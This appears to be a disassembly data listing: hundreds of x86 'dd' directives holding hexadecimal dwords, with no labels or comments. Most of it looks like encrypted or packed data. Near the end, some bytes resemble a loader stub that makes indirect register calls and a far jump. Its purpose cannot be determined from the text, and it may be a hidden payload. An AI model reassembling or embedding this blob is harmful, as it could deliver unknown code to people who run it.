dd 4FE09805h, 9F974952h, 46DFA1FAh, 38514A53h, 0DDBEDB52h
dd 895001Bh, 0DCC1DE50h, 0E8F0824h, 862C721Ah, 8212FB05h
dd 2B477251h, 0CB2936AEh, 2DB4E99Fh, 151645h, 11B6A400h
dd 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh
dd 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh, 5D3F9A7h
dd 16C712FBh, 0AE2B47B5h, 35EDB843h, 49480B99h, 7C2C1503h
dd 31B018Ah, 3C82A96h, 0C307C729h, 0B6971Dh, 0E90D9313h
dd 19EE4E14h, 0E8F6D68Eh, 0BCDCA59h, 0FFE5395Fh, 809E5DE7h
dd 0F1919722h, 112D20A2h, 92D00980h, 23CAA62Eh, 935D930Eh
dd 0BB76A53Bh, 3A82785Ah, 98B31EA4h, 5A941A86h, 0F1B90C97h
dd 0E926178h, 0BA94ECE0h, 7E4FDD48h, 4C802CC8h, 0D81CB9B2h
dd 70D7D44Ah, 4686287Fh, 0AF1FB8B4h, 6A89100Dh, 0C7390EE6h
dd 0B6233EABh, 0AF37B93Bh, 8644E4A6h, 4CC2AC37h, 0DA000014h
dd 0BE425B78h, 0F36536A3h, 0C43C617Ch, 0EE722BACh, 82396277h
dd 0F1E88109h, 9A3F34ACh, 0F4E17F01h, 0A43D31A7h, 677D51F7h
dd 12FB045Dh, 2B874C59h, 1C3641A1h, 365213B5h, 41A1271Ch
dd 13B51C36h, 431C3642h, 2132B22Fh, 0BCE99FCBh, 13F94D35h
dd 0D5870000h, 3835ABF0h, 0EB84FCA1h, 332BADEEh, 0EA83F5A6h
dd 94E5AEEFh, 415A7FF6h, 6C31A4BFh, 405D7AF4h, 623BA4B8h
dd 3A801E6Eh, 2E12FB04h, 9B2E1E9Dh, 6AD50BC3h, 4E150366h
dd 0FB2D9C48h, 0F170F2D4h, 13B209h, 0B5124000h, 0E4FD70E8h
dd 0B32E41B7h, 0D9FE76EAh, 0B4253CC4h, 0AB5F2CE7h, 27627B2h
dd 0A92F6C69h, 0EF712AB7h, 93356673h, 31FA53Bh, 8A1B12FBh
dd 0AE2B4749h, 445DD143h, 17FD10ADh, 7908832h, 0E48C68ECh
dd 894FFDA9h, 2DBEh, 0A52B0D00h, 0D51C3641h, 735B4059h
dd 2ACAD749h, 6D365094h, 0DD81701Ch, 6A981BA5h, 0DAFB8E34h
dd 5C648A1Bh, 599D4938h, 133A71h, 2B47A200h, 0EDB843AEh
dd 0AFF59935h, 1C364205h, 7317DF01h, 36E162Dh, 0CFCCD215h
dd 0E1EDA5F0h, 0CE352CC3h, 0AE1EC00Bh, 6C87100Ch, 13850CE8h
dd 321C811Ch, 8F79344Ah, 7A7A8901h, 3628E1E4h, 831E131Ch
dd 4A58341Ah, 1C362880h, 8827274h, 0F3658C15h, 1C90637Eh
dd 89337104h, 7D1C3628h, 0EA5E955Bh, 0FA8D6471h, 0C43E392Bh
dd 879A6D57h, 47A9362Ah, 13197456h, 0AF518950h, 0E2B5F9B2h
dd 2968CCECh, 4CA82CC7h, 17A9Dh, 9B2EEE00h, 3ED50BC3h
dd 0BA150343h, 0D64BBD34h, 130ED2CBh, 0F3FD9A96h, 504E7000h
dd 0C95A1301h, 0C8BEFEDBh, 0AE87239Ch, 0CCFEE4DCh, 5D9DF039h
dd 6D0A2799h, 13D8D37h, 0E7CB8713h, 0B4214BF2h, 6666880Eh
dd 3367C22h, 0AC321301h, 34BFDC52h, 0D86744B0h, 2BB915CDh
dd 0BCE1AD8h, 83FA8CDCh, 1170A44Dh, 89A014DFh, 5CD58B10h
dd 9E26B63Dh, 0AE1C35CEh, 9D94674Dh, 44D99FFCh, 0CEF0965Dh
dd 2EB24156h, 9ED954C6h, 35CEBA00h, 0C628AE1Ch, 7F9BD2Bh
dd 5876A6Fh, 0C5B0A4F1h, 0C66C31A8h, 89506C87h, 4EE0h
dd 0F4D2AA00h, 0C8721FB5h
dd 47700FE7h, 0D448AB2Eh, 43B53C5Dh, 9E44AF2Ah, 3641BA00h
dd 0D628AE1Ch, 47B9385Dh, 86D7AD28h, 0BC29DB9Eh, 93243DC8h
dd 3641674Dh, 16839F1Ch, 0B8253AACh, 0EA14B836h, 0BA8F6774h
dd 4FF9B518h, 85B289h, 2EE10000h, 0D50BC39Bh, 15035F4Eh
dd 5123ECD4h, 6529CC62h, 9E22D1C8h, 0E8EEA450h, 0FF9A9709h
dd 5A47DA9Eh, 91082597h, 0B3A1F262h, 4F4C55C8h, 476D3357h
dd 431300C8h, 0CDC8639Dh, 73448929h, 3A239285h, 64000000h
dd 0FBF1AD15h, 42B6C918h, 0BB891FB2h, 9717CD13h, 0D931C35h
dd 0A7BE40E6h, 8A2CC232h, 3E1C3597h, 0B5FBE7CDh, 49E5D7F7h
dd 0EAF8A450h, 1C359810h, 719902A4h, 7, 3AD1A2h, 47020000h
dd 0A046AD28h, 868327E0h, 0EBF9E18Eh, 1C3610E1h, 0D91DD3D5h
dd 0CECFCA67h, 678A170Ah, 0DD14D6DCh, 0C98C3A4Fh, 35C787E3h
dd 55A138h, 0C7DA3314h, 7A8D894Fh, 3E00000Bh, 2BC6842Eh
dd 0DFFA7587h, 759C8917h, 0B82D959Dh, 39C307CCh, 0B537BA27h
dd 8B0D852Fh, 975F8192h, 0FB3196F7h, 20D112h, 2E020000h
dd 0D806C684h, 1C3641F2h, 0A331C0E6h, 0B5458EB7h, 223B297Ch
dd 32C3C6EBh, 25C7Ch, 842E4B00h, 874C0BC6h, 120CAD15h
dd 835C603Bh, 0FEC2DD61h, 3EB62C61h, 8C4750CCh, 0DE576965h
dd 40B438BBh, 68AD15A1h, 65279FFAh, 7DA040B4h, 0A88507Eh
dd 38h, 0B8253AC4h, 0EB15953Ch, 68A6974h, 7D4F63EEh, 0E8CF1556h
dd 0E61C3641h, 0B14059D4h, 9719C72Fh, 47BE153Ch, 7026AD28h
dd 26D163h, 0C5FD0000h, 8B2F687h, 0D67D7915h, 0BC6842Eh
dd 41E8CF15h, 97191C36h, 47BE153Ch, 1526AD28h, 8C6772EBh
dd 0B89BEC08h, 0A12BB915h, 951C3641h, 4209B3F1h, 0DBFD1C36h
dd 3353E115h, 0E7FC527Bh, 3B834B4Eh, 0ED4FF9Dh, 3BD222A4h
dd 6BC2FEA0h, 2B00F4FDh, 33994783h, 273BD15Fh, 67FB7581h
dd 0B7A8527Ah, 0E355CA2Ah, 0D4C15F4Ah, 5FE0EAF8h, 0D2D43BD1h
dd 0B00DE71Ch, 29BFFFC4h, 82CF8493h, 28CBCC64h, 30AA4AA4h
dd 0CF7BA33Ch, 4EA6332Dh, 0AE5740DCh, 7A87493Ch, 7663FF8Ah
dd 65F802A6h, 6A06787Ch, 212F954Bh, 572B3BD2h, 0B12C64F1h
dd 2EC0234h, 0D7F66F01h, 3BD193F0h, 6B41C2E4h, 71607B43h
dd 0A98B3883h, 790CF84Dh, 5E20FCE5h, 0FAD2C7h, 180746Dh
dd 0E83DEB91h, 891009FCh, 8DA01A14h, 0F26EE014h, 918820E5h
dd 0D1AEB9FCh, 0DC29AF3Bh, 23CECB64h, 0CD24BDB1h, 6C0FF568h
dd 23D6BE1Fh, 823A920Fh, 6C05D4AEh, 0A1FDF906h, 0AD5643DFh
dd 0EB3A4B3Dh, 85120EF9h, 4E4BE799h, 0AF2A43B5h, 573D9E56h
dd 0F0F88A4h, 8B316F1Bh, 7F3BD1F8h, 47F69D59h, 4C23AE2Bh
dd 0C4862E87h, 196E650Dh, 885005C4h, 9E3B34C6h, 7625D153h
dd 59h, 2BB91555h, 1C3641A1h, 50E31395h, 7A428A58h, 54CA7155h
dd 0AE637B47h, 155D04F0h, 41A12BB9h, 13951C36h, 26A937E3h
dd 1A1C3641h, 0C6D34872h, 913BA92Bh, 851C3641h, 15468D63h
dd 1C37EDADh, 29CD1948h, 2A474E85h, 637024AFh, 6875EB15h
dd 7EF0789h, 30h, 0C4862E48h, 9B9150Dh, 0ED47B79h, 1C3619A4h
dd 0D7C2FEA0h, 16AC4871h, 1C35D4AFh, 15834EE2h, 4EAD15BEh
dd 0D51D796Ch, 15088272h, 6370458Ch, 364BF72Bh, 0E7A32B1Ch
dd 363413B9h, 0E1E1071Ch, 7CC235h, 0B9A155C2h, 0FFFFFD5Ch
dd 41A52B1Ah, 0F6BC1C36h, 7EF16734h, 0DE3FE73h, 0EDD70DC1h
dd 0E91C3641h, 20B02FC7h, 1C36419Ah, 6417FD4Eh, 0BCDCECBh
dd 535D16h, 0DC246B96h, 0F6BE8912h, 0A719BD34h, 5AE80C89h
dd 5E5FA1B7h, 819A24EAh, 9B5BDD14h, 507D5E46h, 17CBA63Ah
dd 1F2h, 0ABAD1578h, 0D426DEEAh, 0AAD43B3h, 211C3637h
dd 0E8E59096h, 86172528h, 0D73E6468h, 17150337h, 3C6F0167h
dd 0C72F60A6h, 52069719h, 0BA009EDDh, 0AE1300D3h, 0B92BC628h
dd 42B63DA4h, 0B43FB22Fh, 0BB2639E1h, 923AB438h, 0CDE4614Ch
dd 9551570Bh, 0E9A0562Ah, 0A806F073h, 3600000Dh, 7AFE9F04h
dd 0DFA1FAE7h, 90485540h, 0DA9EFF98h, 4E455643h, 0C5D44D3Dh
dd 8E0B20D8h, 0C8D54B0Dh, 88110DD3h, 33711D13h, 12FAFD89h
dd 476B507Dh, 35A2BE2Bh, 72E913BBh, 83108F67h, 0C745830h
dd 0EA846841h, 7F660D7Eh, 1F39F3CFh, 20BE6A8Ah, 150CF210h
dd 0B04A8224h, 4DCF22BFh, 64FB05A9h, 0C35C2479h, 0A9484DE6h
dd 0B62AC927h, 0A6332DBAh, 0CC27C94Bh, 309C743Fh, 0C7B3C772h
dd 0EBF9BD0Bh, 1C27A3E1h, 352DD3D5h, 25CB4DA4h, 0AE744CC1h
dd 0E8D251E9h, 0D0Fh, 811ABF9Dh, 267762FFh, 7B20BDB2h
dd 2F6C6D05h, 7429B0A9h, 2138D2A7h, 61DE3B8h, 0D8560A93h
dd 21EE2BBh, 6C200895h, 0FAFD8C36h, 785B8812h, 43AE2B47h
dd 9935EDB8h, 364E00Bh, 89129415h, 5D3E5BD7h, 6F5F3782h
dd 0D84E3631h, 148CF40Bh, 935873CBh, 11974DA9h, 0B12C43BDh
dd 128FA31Dh, 0C4995DDFh, 3D78F00Ah, 27B21DA7h, 5997191Ch
dd 0EA0A8FA7h, 0FE2FF70h, 0CBFE136Bh, 0C0009D93h, 0DF17AEC6h
dd 9E8F16Dh, 5B732B7Eh, 0D1634F2Fh, 9E3F11AAh, 0D981C856h
dd 717714F4h, 0DB7C3675h, 12FCA7F2h, 0C67h, 396247F5h
dd 6E2FAAC7h, 336875EAh, 7724B5ADh, 2C716801h, 0F9701A6Fh
dd 2E45BBE0h, 0F06EF2ABh, 2A46BAE3h, 9438F0ADh, 0FAFC644Eh
dd 90336012h, 43AE2B47h, 0FB5EB9Fh, 471C3642h, 951BA92Ch
dd 0BC3D661h, 411A1DC3h, 880E1503h, 0C9D04D13h, 86130CD4h
dd 9B2E3615h, 41B903A1h, 2BAD1C36h, 7AF709C5h, 97F3975Fh
dd 0BD2A8AE7h, 35489D27h, 0AB17991Ch, 1EE09853h, 0CD639300h
dd 15030C0Ah, 642FB808h, 0AC804B6Eh, 0B8149A48h, 1FE4CE14h
dd 0CEE01301h, 15AD4350h, 0DB9A633Fh, 41C034E6h, 9B3F19Dh
dd 0FD1300D6h, 43851BDBh, 41300D5h, 739AB3A1h, 0F4928565h
dd 8Dh, 8D2A47D3h, 36416D57h, 0A947691Ch, 3E5BD64Ah, 0C8C02E8Eh
dd 571CDA0Bh, 0B4AC209Fh, 0C15CD023h, 0E9029AAAh, 0CC2244CDh
dd 0FDA5F0CFh, 527A7465h, 312518Ch, 837D5115h, 0CEF4EEEBh
dd 0CA1300D4h, 539D3A34h, 0FBEBEDA3h, 0F2D543A6h, 58C2AC37h
dd 0E600000Bh, 8A4E4F74h, 0CF910A97h, 0A0584550h, 0CA8E0F88h
dd 5E554653h, 0D5C45D2Dh, 7E1B10C8h, 0D8C55B1Dh, 0B8213DC3h
dd 3A1EDE3h, 12FAFBB9h, 479B20ADh, 0F4EEAF2Ah, 4Fh, 0BF2A4755h
dd 3AB937A2h, 8A421AADh, 3526954h, 9D494F15h, 0F2D4E83Ah
dd 1600A3h, 8E00000Bh, 0E29607ACh, 9749524Fh, 0D8A0FD98h
dd 92465740h, 969DFE9Bh, 8D0C25E5h, 0C6D34810h, 900D23D5h
dd 0C0D9550Bh, 0B99F5DBh, 12FAFBC1h, 47A328B5h, 6A1EAE2Bh
dd 0F7C09C12h, 8D5767F2h, 1C361727h, 7F455B23h, 7B1C3617h
dd 0F47B7B75h, 0DBF3EC80h, 0A0544DE1h, 6E1A8421h, 36178A30h
dd 9C587E1Ch, 517C5D47h, 16895028h, 216h, 15344975h, 6845DA82h
dd 0E709E7F0h, 558AB9E7h, 686E1503h, 6A06F8B4h, 72FB896Dh
dd 4DE66CD3h, 902AA27Ah, 48F40099h, 609D4B9Ah, 44AF311Ah
dd 2C44ECB7h, 3AC448ABh, 0B83CB724h, 16089636h, 0EA217699h
dd 7AF608C4h, 0A4B8405Dh, 0B202AB3Bh, 189BE44Fh, 0A3A2Eh
dd 4D6AC800h, 0C958850h, 4B56C98Fh, 1968E52h, 4C4DE49Ch
dd 5337444Fh, 1ADEBFDAh, 51079401h, 27D9C2DFh, 1B0D8E0Bh
dd 0FA872D73h, 528312FAh, 2BB91571h, 1C3641A1h, 69E31395h
dd 7906EDF4h, 6456762Eh, 0D0FAA8CFh, 0C41C3641h, 0A325CC22h
dd 0D9E3A753h, 24985B46h, 0DF619009h, 0C24FE511h, 42150D74h
dd 625C309Ch, 0B729CDCAh, 0FC8419BCh, 0DB7F7267h, 0A3534EE1h
dd 1CD8510h, 0E9BEC6C1h, 0C72F6BBEh, 0A9AE7D23h, 24CA0BC7h
dd 561D16A8h, 27958248h, 7E70761Ch, 5E647A4Eh, 5A1C2795h
dd 28B5AA54h, 0DAAF47C9h, 69880D26h, 865E7BF7h, 0E9AE82D5h
dd 804129C8h, 0E000009h, 6216872Ch, 17C9D2CFh, 58207D18h
dd 12C6D7C0h, 161D7E1Bh, 0D8CA565h, 4653C890h, 108DA355h
dd 4059D58Bh, 8B19755Bh, 12FAF941h, 0DF23A835h, 3641C705h
dd 6277EF1Ch, 94051D8Fh, 0BFA5F85Dh, 6F55C6BCh, 0F6AEF9ACh
dd 5D79C8D6h, 597F1503h, 0C9D44B75h, 0E8A0F3D4h, 0C5EFBEE4h
dd 0E3050BCCh, 445DD1EBh, 148DA157h, 0A28E21D0h, 0DF57CE9h
dd 90Bh, 7D1EBB99h, 227B66FBh, 0C7D4C15Eh, 1B801911h, 0D0CDCC65h
dd 5DD4B6C3h, 82995F3Ch, 5CD28617h, 869A5E3Fh, 0CC8419h
dd 0FAF9D8E2h, 0FCBFCC12h, 6673EB15h, 41BE008Eh, 72EE1C36h
dd 7F256965h, 1C364135h, 7247AF31h, 0E8D210BCh, 0DC1C3641h
dd 41C00A98h, 32B41C36h, 1AAD38BCh, 2FC2DF52h, 3F8B43ADh
dd 0E2FF718Bh, 3641BA00h, 0CC28AE1Ch, 30D8E36h, 6C608615h
dd 56CFDC52h, 68F0AD43h, 0DBE5E9F6h, 1F9E5643h, 87E37h
dd 0EB159800h, 0F98C6875h, 0C0BDC8AEh, 0EDDF7000h, 48F3CB03h
dd 0FC7C8BD9h, 315D01F5h, 0F201948Fh, 35F8866Eh, 0EB150269h
dd 189E2EC5h, 0D913006Ch, 8EBF988Ch, 0D99285CEh, 15Fh
dd 74EB15BAh, 1D138D69h, 64FF7180h, 0B0DC8271h, 3641C8F2h
dd 0A625BA1Ch, 2F37A67Ch, 69E31395h, 0A0E0ECF5h, 0F5574B18h
dd 1F9E5649h, 7526B3ADh, 5C706D03h, 0BB357C24h, 24D08643h
dd 0CD99129Dh, 35F1E301h, 0E3051C36h, 0BB019FEBh, 0AF1C3635h
dd 0D246CD29h, 3FB1405Dh, 2DACC520h, 45AC42C6h, 83664EAFh
dd 0D5A09401h, 0C2D74E5Bh, 77E96F2Ch, 0AFF9876Ah, 8F1C3636h
dd 46EC0792h, 36353298h, 7E80261Ch, 4BFBF6E3h, 7DB6428Fh
dd 33D00AC8h, 6FDCA641h, 5F7CF285h, 0C4D54D6Fh, 0DC55AB2Dh
dd 42B236BDh, 15D1DA65h, 6AA92BB9h, 0B8D1C35h, 53CFFBC3h
dd 4AE61B16h, 36182E94h, 6A842A1Ch, 9A91038Ah, 16A89EFFh
dd 7908C19h, 98930DE9h, 0EE82F6FDh, 8B756C01h, 0AE90792h
dd 30DBC91Ah, 23B0AE3Bh, 0F9A24CD0h, 0AE9EC87h, 5A722A7Dh
dd 184A702Eh, 983E1C36h, 0B3F2B05Ch, 69150333h, 89A25647h
dd 515AE50Ch, 2DAB3995h, 1113010Ah, 2774648Fh, 0C4D14A3Dh
dd 8F0A21D7h, 14CCD764h, 9EF2AB8h, 0BB0F0BCEh, 360D9F25h
dd 0ADF39B1Ch, 1C360E07h, 0E313DD03h, 9923AB2Dh, 0D25EF84h
dd 3234B968h, 43B335BCh, 6C79F266h, 680EE5F2h, 35E2903Ah
dd 8C62841Ch, 0A9C73962h, 2EBC6F2Ch, 0D50BC39Bh, 15036E7Eh
dd 0B7D747Ah, 0B9438B16h, 32B63DA4h, 2E46E5C2h, 892DC486h
dd 0FEBCA339h, 0F3037996h, 35575B5Dh, 0A978B1Ch, 0DFFA75E7h
dd 0B59F7C14h, 9C88DDB2h, 50E392BBh, 55D589h, 15B60000h
dd 41A12BB9h, 13951C36h, 0EDF469E3h, 762C6006h, 1C36414Ch
dd 0C058A648h, 2B911FD7h, 0DF1C3641h, 7EF3866Eh, 2C943A63h
dd 869B422Ah, 6C54D81Bh, 975F47D6h, 364C0709h, 9463271Ch
dd 9FFFFFFFh, 0BB3E70DFh, 57C8C65Bh, 541CA44Ah, 4C6993AEh
dd 47731ADAh, 3A23AE2Bh, 0C4862E99h, 19EFE40Dh, 885005C4h
dd 3AC3h, 0B9150400h, 3641A12Bh, 0E313951Ch, 478A5850h
dd 2A47B915h, 0BA34A1BFh, 47AA2F44h, 19A331C5h, 171C3641h
dd 0E80B8EA5h, 0BCE29064h, 47BE1515h, 7024AF2Ah, 30D163h
dd 2E020000h, 150DC486h, 8C6772EBh, 8C40EC08h, 12E2FF72h
dd 3641367Ch, 0F2E16F1Ch, 2A47BE15h, 809D1FAFh, 6A56DA19h
dd 0A722A4DFh, 55FCF8D1h, 0B9156370h, 3641A12Bh, 0BB019F1Ch
dd 0AF1C3641h, 0E1159B29h, 0C8B7F06Fh, 85251310h, 13A1509Eh
dd 1C3573A9h, 7104F05Dh, 347FF3FEh, 370E03C7h, 0C32EC02Dh
dd 4EEEAF41h, 1C35D912h, 24BA0EBEh, 1C35C69Eh, 0F8E0149Ah
dd 0FFFFF44Fh, 0BF2A4759h, 3DBF32A7h, 8844EAB3h, 5AAF0338h
dd 0BD97E78h, 1C362DC1h, 0A31870B3h, 4D773AEAh, 72CA371Dh
dd 0B03EC3C1h, 2EE6B144h, 0C2B5009Eh, 25CB1502h, 286428CEh
dd 0BA507Ah, 40A24413h, 1300BA7Ah, 56173A6Eh, 15DC9C4Ah
dd 43851BDBh, 7313008Ah, 6174EFFAh, 11E00E92h, 0DE15809Fh
dd 0B4B79DEEh, 0C19A8ADBh, 9285B48Ch, 18DBh, 1C15A700h
dd 2F2767Dh, 0BD15Bh, 0D1FD0000h, 3641A913h, 0FBFB9D1Ch
dd 0C39B2E54h, 6122D50Bh, 10961503h, 0E7F26FE1h, 1EB726B6h
dd 67F91301h, 0C15F217Ah, 49791DD4h, 0A2CC3F75h, 74ED13DFh
dd 0EA0A8E65h, 0FF9C9672h, 0CFCC6215h, 8DA8D8CEh, 0BA68B036h
dd 0B3AF21D5h, 1914A626h, 69FF7480h, 0A0E0ECF5h, 0C5664A07h
dd 0F4AA22F5h, 130113CEh, 63D024CAh, 8B483C89h, 64CCF33h
dd 9E5677D1h, 0B9B7302Ch, 9D53D51Ch, 76F5CD81h, 0CDF7ADD3h
dd 0C91300F5h, 0DACD9B27h, 190FAE46h, 88D005B4h, 0D9B3h
dd 852E1400h, 0BEB50DC1h, 41DA1990h, 151CC333h, 3641E8CFh
dd 3C97191Ch, 2F47B915h, 7C0F297Ch, 89679EEEh, 18E66Ah
dd 1CD85C97h, 64746C75h, 23AE2B47h, 0F76A943Ah, 15630AEAh
dd 8F6772EBh, 0F3DEAC04h, 0C419EFE4h, 0C6885005h, 443BD3F6h
dd 0C345AC2Dh, 0CEE65DFFh, 4CA84653h, 4D9Dh, 0FFA5E900h
dd 1F35C8B5h, 28C72FB1h, 0DC4862Eh, 2847B915h, 11BB49ADh
dd 51C3642h, 0B915F0E3h, 48AB2E47h, 0B8253AC4h, 0A03FB739h
dd 0A3BF2A47h, 0B739BB36h, 76EB151Ch, 0FAF9E47Bh, 2B7C7876h
dd 1C859923h, 0FCA353D5h, 22D1h, 862E0200h, 0CF150DC4h
dd 1C3641E5h, 153F921Eh, 8E6570EBh, 5C7DF40Ah, 37E31395h
dd 0AF2A4798h, 0D1637024h, 0FFFFFF23h, 716C03FDh, 0B915DE85h
dd 3641A12Bh, 0E313951Ch, 5ECF569h, 99029F93h, 0E301FBCEh
dd 1C3641D9h, 688B1609h, 36B8DEE4h, 51C8F296h, 4F16AC48h
dd 45150364h, 9C912BA3h, 9A48EE05h, 13011B30h, 886C8224h
dd 1B557B09h, 8F161301h, 2369A4A5h, 0C1019285h, 5D4D1A22h
dd 3937AC51h, 0AE7E498Eh, 5C05B440h, 0C6000000h, 6B76EB15h
dd 0A0F87D57h, 995D4300h, 7EF3BB0Eh, 8D418D63h, 15E1FC73h
dd 316907Fh, 0AF426415h, 0D69F21h, 1F54CF13h, 0D63B81h
dd 47A92F13h, 0B62338ACh, 9480CD3Bh, 7F65C0D1h, 918C2E5Ah
dd 0D6F0DA08h, 0C2E41300h, 65438A32h, 95279285h, 6EF20198h
dd 0FFDF86h, 15B00000h, 0E17875EBh, 79FBF6F8h, 726F037Dh
dd 0F1AFDB7Fh, 1C3641CBh, 4CE719BFh, 0CE26AA49h, 1DD4C55Ch
dd 0C72AB7ABh, 0E68E5B23h, 427E1B13h, 0EA0ACE95h, 23C1FC70h
dd 1C357199h, 0B8E50B8Dh, 3575E624h, 85120E1Ch, 1DB8B749h
dd 0E07C04D9h, 2656FCF7h, 1B6ED04Bh, 5E647AA4h, 5A1C3552h
dd 0C75A9A54h, 9B3C34FCh, 0B21AD458h, 27F71ECh, 4D812715h
dd 0D71FBAB3h, 0BEB24C02h, 7742D521h, 0C0712F9Fh, 0B40BCC32h
dd 43AD2A42h, 2F7F3F8Bh, 3FE77E93h, 9E2A904Eh, 781E1C33h
dd 150C7E76h, 0C8611784h, 8214AE1h, 0E64F675Fh, 8DC12DCh
dd 0E9A2527Fh, 20EBD35Eh, 0AE000002h, 276278Ch, 0B729726Fh
dd 0F8801DB8h, 0B2267760h, 0B67D1EBBh, 0AD2C45C5h, 0E6F368F0h
dd 0B02D43B5h
dd 0E0F975EBh, 2BB915BBh, 12FAF2A1h, 47C30895h, 6EF2AB2Eh
dd 0D7E9E5F2h, 4D933B5Eh, 1C364167h, 0E4B93D63h, 74EB15EFh
dd 0EE068A69h, 54785063h, 3717F8Eh, 80737515h, 111CEF0h
dd 2E168F13h, 8529E02Dh, 0AA8792h, 47480000h, 5E1EAE2Bh
dd 0A10C82DDh, 5BE212C3h, 8A6970E9h, 363B18FAh, 7AB6061Ch
dd 0C5A6A1E8h, 918DFFF7h, 6412B8E6h, 0E0061C35h, 0F5998D0Eh
dd 356405AFh, 17DF011Ch, 0E11089A5h, 879B4356h, 9B55D71Ah
dd 8FF26D33h, 0A61502h, 21F9CC9Bh, 40DFE1ADh, 0DA1A9E55h
dd 0CC00C244h, 1CB0360Bh, 8D0E8BA2h, 9F4752CBh, 0E9A21A1Eh
dd 444A34BFh, 0D2000001h, 0A65A4360h, 0CB8D0E8Bh, 8C544954h
dd 0E69A0394h, 4A514A4Fh, 0D9C05931h, 0B2273CC4h, 0DCF977E9h
dd 0BC2539BFh, 0FFA5E9DFh, 12FAF1B5h, 479F24B1h, 6EF2AB2Eh
dd 13B8E5F2h, 0A5BE2B47h, 0B13FC130h, 4552CE42h, 643C8758h
dd 5D073A68h, 0EBED1503h, 5C45D9E3h, 0FE75873Fh, 609418DBh
dd 8E6572EEh, 95B0B601h, 25DEB826h, 0D70DC12Fh, 0BD83622h
dd 3BD80C92h, 0A2E9ADDEh, 0C517FFh, 0E1530000h, 0C21D7C4h
dd 0DF500895h, 0F27D9C2h, 0D64F118Ah, 0A8E1DAC3h, 4D4E4BE2h
dd 9805908Bh, 4C514EE0h, 9EFF9894h, 0F6BCE2AAh, 0F212FAF1h
dd 9B2EE2E1h, 3DBF0BC3h, 0AD43B326h, 150D7594h, 0C00C2050h
dd 14968F63h, 89A517DAh, 61900920h, 0D48C11DFh, 6D8F3F58h
dd 890BE6F3h, 1F56E66Dh, 0DE406F15h, 4EE2957Fh, 0F1AFC861h
dd 0BF8ED4CBh, 1CD719BFh, 93455698h, 0F8C2E09Fh, 28BF8ED4h
dd 9618AA37h, 0D422A836h, 9016BF8Eh, 0D54C6E5Eh, 3FB130C4h
dd 2DAAC227h, 22D3F795h, 0A24C8CD3h, 0F4614Fh, 0ECE0F975h
dd 0B43F5CD2h, 3FE7C430h, 0BC37A2BDh, 2E42BC38h, 8BA31DB1h
dd 7F67E60Eh, 3, 47844FD0h, 0CF41B015h, 39AB4653h, 0C537BA27h
dd 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh
dd 5D2AC9D0h, 81E68956h, 4C6h, 4BB5300h, 29000000h, 34875BDEh
dd 57685C24h, 8900000Bh, 8568242Ch, 8900004Eh, 0BA52240Ch
dd 93B387Eh, 545A5D52h, 83240C8Bh, 0EC8304C4h, 242C8904h
dd 8B08418Fh, 8957240Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h
dd 2434FF5Ch, 4C4815Dh, 0E9000000h, 0FFFA2C94h, 7E1EB9A7h
dd 3B51DEB8h, 50C50309h, 179D85C6h, 68470935h, 0CF381725h
dd 0EC9B5FFh, 858D0935h, 9353898h, 0D88BD0FFh, 1F9D858Dh
dd 68500935h, 104h, 85C6D3FFh, 935179Dh, 0F8BF6853h, 0B5FF8307h
dd 9350EC9h, 3898858Dh, 0D0FF0935h, 365F8589h, 0BD83093Bh
dd 9352365h, 0B840F00h, 8B000000h, 352DD19Dh, 5E909h, 0BB0000h
dd 68000000h, 100h, 3663B58Dh, 5356093Bh, 4CD95FFh, 0B58D0935h
dd 93B3663h, 1E9F003h, 4E000000h, 0F5C3E80h, 984h, 2F3E8000h
dd 0FFED850Fh, 6C6FFFFh, 63858D00h, 50093B36h, 365F95FFh
dd 0FF58093Bh, 18AFA2E0h, 5B77A82Fh, 0C4A69735h, 989E0034h
dd 294A7302h, 9904B635h, 6076ED6Bh, 0D8638316h, 52957733h
dd 843F0135h, 1CDB4719h, 0D704EB25h, 0E94DD9C6h, 5A0h
dd 19822715h, 0CECFCA67h, 1388150Ah, 0D7C4D54Dh, 0C910821h
dd 99907A0Fh, 4EE59B00h, 908E524Bh, 4AE69A03h, 3458504Dh
dd 0FAEE446Eh, 30934012h, 7875EB15h, 79FBF6E3h, 8918977h
dd 1D8F67E9h, 4C349801h, 29C36684h, 0F37A7A16h, 0ACF1E881h
dd 2F9F3834h, 0EB06938Dh, 92068D69h, 7EF2019Eh, 89FBF6E3h
dd 77E90891h, 0A917DAFFh, 60AD483Ch, 0C86417FDh, 63FDFFCFh
dd 0FDF97B76h, 0D9C65820h, 0B5223CC4h, 4451CA3Eh, 0B9243BADh
dd 2CA9C63Ah, 1E0657C5h, 0C03E892Dh, 4DA3853Ah, 0BFEE637h
dd 4D138815h, 0FA04C8D1h, 901B4C67h, 6911086Ah, 0CE86C87h
dd 3FD0F785h, 0F1D51C36h, 7FA05091h, 8684EB29h, 0D282B129h
dd 40CDF5FBh, 67C6876Ah, 967ED323h, 50A158B5h, 77E81289h
dd 0F105876Ah, 5B4Ah, 2B478900h, 0DF9F43AEh, 83BB6070h
dd 4EE41067h, 1C35D566h, 0DA19869Ah, 23CECB66h, 6220B9B1h
dd 6B6803F1h, 37A2B943h, 0C98272BFh, 89506584h, 1E3h, 2A47A400h
dd 5DD044AFh, 0B909AD44h, 0C54057E1h, 6CDE16B1h, 0A910E3F4h
dd 718B483Ch, 9812E2FFh, 0F97F1C85h, 2C1F7C65h, 23AB2E47h
dd 0EC8799h, 20F747DBh, 0C7777A74h, 7B2B72D0h, 0FEF6F8EBh
dd 0F1AFDB7Fh, 1C354ECBh, 787B66FBh, 2CC8CEF4h, 0CF22BFB2h
dd 7500F461h, 0CFF1DDFCh, 0D8B54154h, 3B930C20h, 0D8BD9D83h
dd 0F501708Ch, 7865FA6Eh, 270D9879h, 50DEF726h, 699089h
dd 153F0000h, 41A12BB9h, 13951C36h, 0E9F069E3h, 0FC99960Ah
dd 44B690F5h, 0F946AE2Bh, 66E4E0Bh, 0E072459Bh, 908903F3h
dd 55CC9409h, 0DA388844h, 3DAF0552h, 0C335BC38h, 546000ABh
dd 0DF2F6A8Fh, 659B5540h, 0D120CECBh, 0CE8F75F0h, 8950738Fh
dd 36F8h, 0EB15D700h, 138D6974h, 747F1Ah, 0EA82716Eh, 0C9602B19h
dd 47E8CBD0h, 0B444AF2Ah, 1C364211h, 3E1F0518h, 894FFA0Fh
